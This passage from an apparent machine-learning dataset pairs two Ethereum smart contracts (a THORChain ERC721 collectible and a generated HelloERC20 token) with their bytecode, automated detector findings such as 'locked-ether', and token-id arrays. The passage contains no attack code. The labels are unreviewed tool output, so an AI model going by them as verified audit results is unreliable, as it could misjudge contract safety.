return name_;
}
/**
* @dev Gets the token symbol
* @return string representing the token symbol
*/
function symbol() external view returns (string) {
return symbol_;
}
/**
* @dev Returns an URI for a given token ID
* Throws if the token ID does not exist. May return an empty string.
* @param _tokenId uint256 ID of the token to query
*/
function tokenURI(uint256 _tokenId) public view returns (string) {
require(_exists(_tokenId));
return tokenURIs[_tokenId];
}
/**
* @dev Gets the token ID at a given index of the tokens list of the requested owner
* @param _owner address owning the tokens list to be accessed
* @param _index uint256 representing the index to be accessed of the requested tokens list
* @return uint256 token ID at the given index of the tokens list owned by the requested address
*/
function tokenOfOwnerByIndex(
address _owner,
uint256 _index
)
public
view
returns (uint256)
{
require(_index < balanceOf(_owner));
return ownedTokens[_owner][_index];
}
/**
* @dev Gets the total amount of tokens stored by the contract
* @return uint256 representing the total amount of tokens
*/
function totalSupply() public view returns (uint256) {
return allTokens.length;
}
/**
* @dev Gets the token ID at a given index of all the tokens in this contract
* Reverts if the index is greater or equal to the total number of tokens
* @param _index uint256 representing the index to be accessed of the tokens list
* @return uint256 token ID at the given index of the tokens list
*/
function tokenByIndex(uint256 _index) public view returns (uint256) {
require(_index < totalSupply());
return allTokens[_index];
}
/**
* @dev Internal function to set the token URI for a given token
* Reverts if the token ID does not exist
* @param _tokenId uint256 ID of the token to set its URI
* @param _uri string URI to assign
*/
function _setTokenURI(uint256 _tokenId, string _uri) internal {
require(_exists(_tokenId));
tokenURIs[_tokenId] = _uri;
}
/**
* @dev Internal function to add a token ID to the list of a given address
* @param _to address representing the new owner of the given token ID
* @param _tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function addTokenTo(address _to, uint256 _tokenId) internal {
super.addTokenTo(_to, _tokenId);
uint256 length = ownedTokens[_to].length;
ownedTokens[_to].push(_tokenId);
ownedTokensIndex[_tokenId] = length;
}
/**
* @dev Internal function to mint a new token
* Reverts if the given token ID already exists
* @param _to address the beneficiary that will own the minted token
* @param _tokenId uint256 ID of the token to be minted by the msg.sender
*/
function _mint(address _to, uint256 _tokenId) internal {
super._mint(_to, _tokenId);
allTokensIndex[_tokenId] = allTokens.length;
allTokens.push(_tokenId);
}
}
contract THORChain721 is ERC721Token {
address public owner;
modifier onlyOwner {
require(msg.sender == owner);
_;
}
constructor () public ERC721Token("THORChain Collectible", "THORChain Collectible") {
owner = msg.sender;
}
// Revert any transaction to this contract.
function() public payable {
revert();
}
function mint(address _to, uint256 _tokenId) public onlyOwner {
super._mint(_to, _tokenId);
}
function setTokenURI(uint256 _tokenId, string _uri) public onlyOwner {
super._setTokenURI(_tokenId, _uri);
}
} | 0x6080604052600436106101115763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166301ffc9a7811461011657806306fdde031461014c578063081812fc146101d6578063095ea7b31461020a578063162094c41461023057806318160ddd1461028e57806319fa8f50146102b557806323b872dd146102e75780632f745c591461031157806340c10f191461033557806342842e0e146103595780634f6ccce7146103835780636352211e1461039b57806370a08231146103b35780638da5cb5b146103d457806395d89b41146103e9578063a22cb465146103fe578063b88d4fde14610424578063c87b56dd14610493578063e985e9c5146104ab575b600080fd5b34801561012257600080fd5b50610138600160e060020a0319600435166104d2565b604080519115158252519081900360200190f35b34801561015857600080fd5b506101616104f1565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561019b578181015183820152602001610183565b50505050905090810190601f1680156101c85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101e257600080fd5b506101ee600435610588565b60408051600160a060020a039092168252519081900360200190f35b34801561021657600080fd5b5061022e600160a060020a03600435166024356105a3565b005b34801561023c57600080fd5b5060408051602060046024803582810135601f810185900485028601850190965285855261022e9583359536956044949193909101919081908401838280828437509497506106599650505050505050565b34801561029a57600080fd5b506102a361067e565b60408051918252519081900360200190f35b3480156102c157600080fd5b506102ca610684565b60408051600160e060020a03199092168252519081900360200190f35b3480156102f357600080fd5b5061022e600160a060020a03600435811690602435166044356106a8565b34801561031d57600080fd5b506102a3600160a060020a0360043516602435610736565b34801561034157600080fd5b5061022e600160a060020a0360043516602435610783565b34801561036557600080fd5b5061022e600160a060020a03600435811690602435166044356107a4565b34801561038f57600080fd5b506102a36004356107c5565b3480156103a757600080fd5b506101ee6004356107fa565b3480156103bf57600080fd5b506102a3600160a060020a0360043516610824565b3480156103e057600080fd5b506101ee610857565b3480156103f557600080fd5b50610161610866565b34801561040a57600080fd5b5061022e600160a060020a036004351660243515156108c7565b34801561043057600080fd5b50604080516020601f60643560048181013592830184900484028501840190955281845261022e94600160a060020a03813581169560248035909216956044359536956084940191819084018382808284375094975061094b9650505050505050565b34801561049f57600080fd5b50610161600435610973565b3480156104b757600080fd5b50610138600160a060020a0360043581169060243516610a28565b600160e060020a03191660009081526020819052604090205460ff1690565b60058054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561057d5780601f106105525761010080835404028352916020019161057d565b820191906000526020600020905b81548152906001019060200180831161056057829003601f168201915b505050505090505b90565b600090815260026020526040902054600160a060020a031690565b60006105ae826107fa565b9050600160a060020a0383811690821614156105c957600080fd5b33600160a060020a03821614806105e557506105e58133610a28565b15156105f057600080fd5b600082815260026020526040808220805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0387811691821790925591518593918516917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591a4505050565b600c54600160a060020a0316331461067057600080fd5b61067a8282610a56565b5050565b60095490565b7f01ffc9a70000000000000000000000000000000000000000000000000000000081565b6106b23382610a89565b15156106bd57600080fd5b600160a060020a03821615156106d257600080fd5b6106dc8382610ae8565b6106e68382610b57565b6106f08282610bed565b8082600160a060020a031684600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4505050565b600061074183610824565b821061074c57600080fd5b600160a060020a038316600090815260076020526040902080548390811061077057fe5b9060005260206000200154905092915050565b600c54600160a060020a0316331461079a57600080fd5b61067a8282610c36565b6107c0838383602060405190810160405280600081525061094b565b505050565b60006107cf61067e565b82106107da57600080fd5b60098054839081106107e857fe5b90600052602060002001549050919050565b600081815260016020526040812054600160a060020a031680151561081e57600080fd5b92915050565b6000600160a060020a038216151561083b57600080fd5b50600160a060020a031660009081526003602052604090205490565b600c54600160a060020a031681565b60068054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561057d5780601f106105525761010080835404028352916020019161057d565b600160a060020a0382163314156108dd57600080fd5b336000818152600460209081526040808320600160a060020a03871680855290835292819020805460ff1916861515908117909155815190815290519293927f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31929181900390910190a35050565b6109568484846106a8565b61096284848484610c85565b151561096d57600080fd5b50505050565b606061097e82610df2565b151561098957600080fd5b6000828152600b602090815260409182902080548351601f600260001961010060018616150201909316929092049182018490048402810184019094528084529091830182828015610a1c5780601f106109f157610100808354040283529160200191610a1c565b820191906000526020600020905b8154815290600101906020018083116109ff57829003601f168201915b50505050509050919050565b600160a060020a03918216600090815260046020908152604080832093909416825291909152205460ff1690565b610a5f82610df2565b1515610a6a57600080fd5b6000828152600b6020908152604090912082516107c092840190610f32565b600080610a95836107fa565b905080600160a060020a031684600160a060020a03161480610ad0575083600160a060020a0316610ac584610588565b600160a060020a0316145b80610ae05750610ae08185610a28565b949350505050565b81600160a060020a0316610afb826107fa565b600160a060020a031614610b0e57600080fd5b600081815260026020526040902054600160a060020a03161561067a576000908152600260205260409020805473ffffffffffffffffffffffffffffffffffffffff1916905550565b81600160a060020a0316610b6a826107fa565b600160a060020a031614610b7d57600080fd5b600160a060020a038216600090815260036020526040902054610ba790600163ffffffff610e0f16565b600160a060020a03909216600090815260036020908152604080832094909455918152600190915220805473ffffffffffffffffffffffffffffffffffffffff19169055565b6000610bf98383610e26565b50600160a060020a039091166000908152600760209081526040808320805460018101825590845282842081018590559383526008909152902055565b610c408282610eb6565b600980546000838152600a60205260408120829055600182018355919091527f6e1540171b6c0c960b71a7020d9f60077f6af931a8bbf590da0223dacf75c7af015550565b600080610c9a85600160a060020a0316610f11565b1515610ca95760019150610de9565b6040517f150b7a020000000000000000000000000000000000000000000000000000000081523360048201818152600160a060020a03898116602485015260448401889052608060648501908152875160848601528751918a169463150b7a0294938c938b938b93909160a490910190602085019080838360005b83811015610d3c578181015183820152602001610d24565b50505050905090810190601f168015610d695780820380516001836020036101000a031916815260200191505b5095505050505050602060405180830381600087803b158015610d8b57600080fd5b505af1158015610d9f573d6000803e3d6000fd5b505050506040513d6020811015610db557600080fd5b5051600160e060020a031981167f150b7a020000000000000000000000000000000000000000000000000000000014925090505b50949350505050565b600090815260016020526040902054600160a060020a0316151590565b60008083831115610e1f57600080fd5b5050900390565b600081815260016020526040902054600160a060020a031615610e4857600080fd5b6000818152600160208181526040808420805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0388169081179091558452600390915290912054610e9691610f19565b600160a060020a0390921660009081526003602052604090209190915550565b600160a060020a0382161515610ecb57600080fd5b610ed58282610bed565b6040518190600160a060020a038416906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b6000903b1190565b600082820183811015610f2b57600080fd5b9392505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10610f7357805160ff1916838001178555610fa0565b82800160010185558215610fa0579182015b82811115610fa0578251825591602001919060010190610f85565b50610fac929150610fb0565b5090565b61058591905b80821115610fac5760008155600101610fb65600a165627a7a7230582032bc9b96d3ef762ef8989223200854bcaf291c7c3acfe1bb672741de4c83d4920029 | {"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}} | true | null | {'detectors': [{'check': 'constant-function-asm', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'locked-ether', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'controlled-array-length', 'impact': 'High', 'confidence': 'Medium'}]} | [
101,
1014,
2595,
2683,
22275,
2094,
2692,
28756,
2094,
17914,
2683,
16409,
2581,
2487,
2497,
2620,
17914,
2683,
2850,
26337,
2620,
26337,
24087,
2497,
24096,
9818,
21926,
2050,
2575,
2063,
2692,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1018,
1012,
2484,
1025,
1013,
1008,
1008,
1008,
1030,
2516,
9413,
2278,
16048,
2629,
1008,
1030,
16475,
16770,
1024,
1013,
1013,
21025,
2705,
12083,
1012,
4012,
1013,
28855,
14820,
1013,
1041,
11514,
2015,
1013,
1038,
4135,
2497,
1013,
3040,
1013,
1041,
11514,
2015,
1013,
1041,
11514,
1011,
13913,
1012,
9108,
1008,
1013,
8278,
9413,
2278,
16048,
2629,
1063,
1013,
1008,
1008,
1008,
1030,
5060,
23032,
2065,
1037,
3206,
22164,
2019,
8278,
1008,
1030,
11498,
2213,
1035,
8278,
3593,
1996,
8278,
8909,
4765,
18095,
1010,
2004,
9675,
1999,
9413,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,495 | 0x953d20d00d50acF75A53d634aF3D0C20e82A604B | // SPDX-License-Identifier: MIT
/*
* Token has been generated for FREE using https://vittominacori.github.io/erc20-generator/
*
* NOTE: "Contract Source Code Verified (Similar Match)" means that this Token is similar to other tokens deployed
* using the same generator. It is not an issue. It means that you won't need to verify your source code because of
* it is already verified.
*
* DISCLAIMER: GENERATOR'S AUTHOR IS FREE OF ANY LIABILITY REGARDING THE TOKEN AND THE USE THAT IS MADE OF IT.
* The following code is provided under MIT License. Anyone can use it as per their needs.
* The generator's purpose is to make people able to tokenize their ideas without coding or paying for it.
* Source code is well tested and continuously updated to reduce risk of bugs and to introduce language optimizations.
* Anyway the purchase of tokens involves a high degree of risk. Before acquiring tokens, it is recommended to
* carefully weighs all the information and risks detailed in Token owner's Conditions.
*/
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol
pragma solidity ^0.8.0;
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// File: contracts/service/ServicePayer.sol
pragma solidity ^0.8.0;
interface IPayable {
function pay(string memory serviceName) external payable;
}
/**
* @title ServicePayer
* @dev Implementation of the ServicePayer
*/
abstract contract ServicePayer {
constructor(address payable receiver, string memory serviceName) payable {
IPayable(receiver).pay{value: msg.value}(serviceName);
}
}
// File: contracts/utils/GeneratorCopyright.sol
pragma solidity ^0.8.0;
/**
* @title GeneratorCopyright
* @dev Implementation of the GeneratorCopyright
*/
contract GeneratorCopyright {
string private constant _GENERATOR = "https://vittominacori.github.io/erc20-generator";
string private _version;
constructor(string memory version_) {
_version = version_;
}
/**
* @dev Returns the token generator tool.
*/
function generator() public pure returns (string memory) {
return _GENERATOR;
}
/**
* @dev Returns the token generator version.
*/
function version() public view returns (string memory) {
return _version;
}
}
// File: contracts/token/ERC20/HelloERC20.sol
pragma solidity ^0.8.0;
/**
* @title HelloERC20
* @author ERC20 Generator (https://vittominacori.github.io/erc20-generator)
* @dev Implementation of the HelloERC20
*/
contract HelloERC20 is ERC20, ServicePayer, GeneratorCopyright("v5.1.0") {
constructor(
string memory name_,
string memory symbol_,
address payable feeReceiver_
) payable ERC20(name_, symbol_) ServicePayer(feeReceiver_, "HelloERC20") {
_mint(_msgSender(), 10000e18);
}
}
| 0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c806354fd4d501161008c57806395d89b411161006657806395d89b4114610195578063a457c2d71461019d578063a9059cbb146101b0578063dd62ed3e146101c357600080fd5b806354fd4d501461015c57806370a08231146101645780637afa1eed1461018d57600080fd5b806306fdde03146100d4578063095ea7b3146100f257806318160ddd1461011557806323b872dd14610127578063313ce5671461013a5780633950935114610149575b600080fd5b6100dc6101fc565b6040516100e9919061084a565b60405180910390f35b610105610100366004610820565b61028e565b60405190151581526020016100e9565b6002545b6040519081526020016100e9565b6101056101353660046107e4565b6102a4565b604051601281526020016100e9565b610105610157366004610820565b61035a565b6100dc610391565b61011961017236600461078f565b6001600160a01b031660009081526020819052604090205490565b6100dc6103a0565b6100dc6103c0565b6101056101ab366004610820565b6103cf565b6101056101be366004610820565b61046a565b6101196101d13660046107b1565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b60606003805461020b906108ce565b80601f0160208091040260200160405190810160405280929190818152602001828054610237906108ce565b80156102845780601f1061025957610100808354040283529160200191610284565b820191906000526020600020905b81548152906001019060200180831161026757829003601f168201915b5050505050905090565b600061029b338484610477565b50600192915050565b60006102b184848461059b565b6001600160a01b03841660009081526001602090815260408083203384529091529020548281101561033b5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b61034f853361034a86856108b7565b610477565b506001949350505050565b3360008181526001602090815260408083206001600160a01b0387168452909152812054909161029b91859061034a90869061089f565b60606005805461020b906108ce565b60606040518060600160405280602f8152602001610920602f9139905090565b60606004805461020b906108ce565b3360009081526001602090815260408083206001600160a01b0386168452909152812054828110156104515760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610332565b610460338561034a86856108b7565b5060019392505050565b600061029b33848461059b565b6001600160a01b0383166104d95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610332565b6001600160a01b03821661053a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610332565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166105ff5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610332565b6001600160a01b0382166106615760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610332565b6001600160a01b038316600090815260208190526040902054818110156106d95760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610332565b6106e382826108b7565b6001600160a01b03808616600090815260208190526040808220939093559085168152908120805484929061071990849061089f565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161076591815260200190565b60405180910390a350505050565b80356001600160a01b038116811461078a57600080fd5b919050565b6000602082840312156107a157600080fd5b6107aa82610773565b9392505050565b600080604083850312156107c457600080fd5b6107cd83610773565b91506107db60208401610773565b90509250929050565b6000806000606084860312156107f957600080fd5b61080284610773565b925061081060208501610773565b9150604084013590509250925092565b6000806040838503121561083357600080fd5b61083c83610773565b946020939093013593505050565b600060208083528351808285015260005b818110156108775785810183015185820160400152820161085b565b81811115610889576000604083870101525b50601f01601f1916929092016040019392505050565b600082198211156108b2576108b2610909565b500190565b6000828210156108c9576108c9610909565b500390565b600181811c908216806108e257607f821691505b6020821081141561090357634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfe68747470733a2f2f766974746f6d696e61636f72692e6769746875622e696f2f65726332302d67656e657261746f72a2646970667358221220185c29d084d2185dbff6d17cde8a634e85ba271fa57d814bb34819b8af56542664736f6c63430008050033 | {"success": true, "error": null, "results": {}} | true | null | {} | [
101,
1014,
2595,
2683,
22275,
2094,
11387,
2094,
8889,
2094,
12376,
6305,
2546,
23352,
2050,
22275,
2094,
2575,
22022,
10354,
29097,
2692,
2278,
11387,
2063,
2620,
2475,
2050,
16086,
2549,
2497,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
1013,
1008,
1008,
19204,
2038,
2042,
7013,
2005,
2489,
2478,
16770,
1024,
1013,
1013,
6819,
9284,
22311,
27108,
2072,
1012,
21025,
2705,
12083,
1012,
22834,
1013,
9413,
2278,
11387,
1011,
13103,
1013,
1008,
1008,
3602,
1024,
1000,
3206,
3120,
3642,
20119,
1006,
2714,
2674,
1007,
1000,
2965,
2008,
2023,
19204,
2003,
2714,
2000,
2060,
19204,
2015,
7333,
1008,
2478,
1996,
2168,
13103,
1012,
2009,
2003,
2025,
2019,
3277,
1012,
2009,
2965,
2008,
2017,
2180,
1005,
1056,
2342,
2000,
20410,
2115,
3120,
3642,
2138,
1997,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
